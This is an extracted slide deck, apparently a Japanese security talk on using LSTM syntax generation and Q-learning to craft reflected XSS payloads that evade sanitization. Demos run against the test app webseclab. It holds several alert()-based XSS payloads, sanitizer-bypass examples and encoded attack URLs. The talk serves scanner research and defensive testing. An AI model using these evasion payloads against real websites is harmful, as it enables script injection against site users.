Upload
isao-takaesu
View
1.187
Download
0
Embed Size (px)
Citation preview
About the speaker
• 職業 : Webセキュリティエンジニア
• 所属 : 三井物産セキュアディレクション
• 趣味 : 脆弱性スキャナ作り、機械学習
• ブログ: http://www.mbsd.jp/blog/
• Black Hat Asia Arsenal, CODE BLUE / 2016
• AISECjpを主催
高江洲 勲
MBSD
タカエス イサオ
Machine Learning 15 minutes!
RXSSの例:超脆弱なアプリ
MBSD
<html><head><meta http-equiv="Content-Type" content="text/html"><title>Case 3 - RXSS</title></head><body><input type="text" value="testData"></body></html>
http://xxx/case3/?input=testData
入力値がINPUTタグのVALUE属性内に出力
Machine Learning 15 minutes!
RXSSの例: 攻撃された様子
MBSD
<html><head><meta http-equiv="Content-Type" content="text/html"><title>Case 3 - RXSS</title></head><body><input type="text" value=""/><script>alert('XSS');</script>"></body></html>
http://xxx/case3/?input="/><script>alert(‘XSS');</script>
HTML内へのスクリプト埋め込み
Machine Learning 15 minutes!
RXSSの発現例
MBSD
<textarea>xxx</textarea><textarea>xxx</textarea><img src=x onerror=alert(0);></textarea>
・・・
<!-- xxx --><!-- xxx --><script>alert(0);</script>-->・・・
<input value=“xxx” /><input value=“xxx”><script>alert(0);</script>” />・・・
var hoge = [‘log’,’xxx’,’red’];var hoge = [‘log’,’xxx’]; alert(0);//’,’red’];
HTMLやJavaScript上の様々な場所で発現
構文の理解が重要Machine Learning 15 minutes!
LSTMの学習データ(HTML)
MBSD
<abbr class="" data-utime="" title=""></abbr><abbr class='' title=''></abbr><abbr data-utime='' title=''></abbr>・・・
<input name="" type="" value=""/><input alt="" id="" onclick="" src="" type=""/><input alt='' id="" src='' type=''/><input alt='' name='' src='' type=''/>・・・
<video autoplay="" loop="" muted=""></video><video class="" height="" id="" width=""></video><video src='' tabindex=''></video><video src=''></video>
2万ページ分のHTML構文(約12,000種類)
Machine Learning 15 minutes!
MBSD
_satellite.pageBottom();'](function(window) {
var _gaq = _gaq || [];var methods = ['log', 'dir', 'trace'];if (typeof window.console === 'undefined') {
window.console = {};} for (var i in methods) {
if (!(methods[i] in window.console)) { window.console[methods[i]] = function() {};
}}
}(window));
LSTMの学習データ(JavaScript)
1万ページ分のJavaScript構文
Machine Learning 15 minutes!
学習済みLSTMが生成した構文(一例)
MBSD
シード 生成構文
<textarea cols="60">xxx </textarea>
<!-- mbsdtest xxx -->
<input type="" value=“xxx ">
var hoge = ['log', ‘xxx red’];¥r¥n
/* mbsdtest xxx */
function(){ xxx }¥r¥n
シードに対応した構文生成が可能
Machine Learning 15 minutes!
RXSSの例:ちょっとセキュアなアプリ
MBSD
<html><head><meta http-equiv="Content-Type" content="text/html"><title>Case 4 - RXSS</title></head><body><input type="text" value=""/> alert('XSS');"></body></html>
SCRIPTタグのサニタイズ
http://xxx/case4/?input="/><script>alert(‘XSS');</script>
Machine Learning 15 minutes!
RXSSの例:攻撃された様子
MBSD
<html><head><meta http-equiv="Content-Type" content="text/html"><title>Case 4 - RXSS</title></head><body><input type="text" value=""onmouseout=alert('XSS')""></body></html>
サニタイズを回避してスクリプト埋め込み
http://xxx/case4/?input=“onmouseout=alert(‘XSS')”
Machine Learning 15 minutes!
サニタイズの例
MBSD
<script>alert(0);</script><block>alert(0);</block>・・・
<script>alert(0);</script>(delete)alert(0);</script>・・・
“><script>alert(0);</script>"><script>alert(0);</script>・・・
<script>alert(0);</script><script>alert(0);</script>
多種多様なサニタイズパターンが存在
サニタイズの回避テクニックの習得が必要
Machine Learning 15 minutes!
MBSD
・・・
・・・
属性値
JS内
・・・
出力箇所
MLP
タグの外
“sCriPt”
他のタグ
URL encode
攻撃パターン
Event handler
・・・
Q学習
状態観測
サニタイズ回避を実現するモデル
・・・
評価
重み更新
“ ⇒ "
< ⇒ <
・・・
サニタイズ
> ⇒ >
攻撃試行を繰り返しながらサニタイズ回避パターンを学習Machine Learning 15 minutes!
RXSS検出のデモ
MBSD
Target:webseclab
Caseサニタイズ
出力箇所/サニタイズ
/reflect/textarea1 × TEXTAREA タグ内
/reflect/onmouseover 〇INPUTタグの属性値入力値からタグ閉じが削除
Machine Learning 15 minutes!
RXSS検出のデモ
MBSD
Target:webseclab
Caseサニタイズ
出力箇所/サニタイズ
/reflect/textarea1 × TEXTAREA タグ内
/reflect/onmouseover 〇INPUTタグの属性値入力値からタグ閉じが削除
Machine Learning 15 minutes!
MBSD
<!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body><H2>Textarea injection test</H2><p><FORM><textarea name="in" rows="5" cols="60">saivs12345</textarea><p>
http://xxx/reflect/textarea1?in=saivs12345
出力箇所 :TEXTAREAタグ内
サニタイズ:なし
Case1:正常リクエスト送信時
Machine Learning 15 minutes!
MBSD
<!doctype html><html><head><title>Reflected XSS in textarea (textarea1)</title></head><body><H2>Textarea injection test</H2><p><FORM><textarea name="in" rows="5" cols="60"></textarea>7Q7pN"MBPcc'PA6tz<script>alert(3122);WKr8J</script>fowCP</textarea><p>
http://xxx/reflect/textarea1?in=%3C/textarea%3E7Q7pN%22MBPcc'
PA6tz%3Cscript%3Ealert(3122);WKr8J%3C/script%3EfowCP
試行回数:1回
Case1:攻撃リクエスト送信時
Machine Learning 15 minutes!
MBSD
Case1:攻撃の様子
Machine Learning 15 minutes!
https://www.youtube.com/watch?v=6UHbMGdqr_0
RXSS検出のデモ
MBSD
Target:webseclab
Caseサニタイズ
出力箇所/サニタイズ
/reflect/textarea1 × TEXTAREA タグ内
/reflect/onmouseover 〇INPUTタグの属性値入力値からタグ閉じが削除
Machine Learning 15 minutes!
MBSD
<!doctype html><html><head><title>Reflected XSS - attribute injection in tags (dq.2)</title></head><body><H2>Update Your Preferences</H2><p><FORM>Homepage: <input value=""><script>alert()" name="in" size="40"><BR>
http://xxx/xss/reflect/onmouseover?in=”><script>alert()</script>
出力箇所 :INPUTタグ内
サニタイズ:タグ閉じの削除
Case2:正常リクエスト送信時
Machine Learning 15 minutes!
MBSD
<!doctype html><html><head><title>Reflected XSS - attribute injection in tags (dq.2)</title></head><body><H2>Update Your Preferences</H2><p><FORM>Homepage: <input value=""> <option s onmouseover=alert(3122);//" name="in" size="40"><BR>
http://xxx/xss/reflect/onmouseover?in=%22%3E%3C/option%3E%3
Coption%20s%20onmouseover=alert(3122);//
試行回数:3回
Case2:攻撃リクエスト送信時
Machine Learning 15 minutes!
MBSD
Case2:攻撃の様子
Machine Learning 15 minutes!
https://www.youtube.com/watch?v=-r3C1moUVqU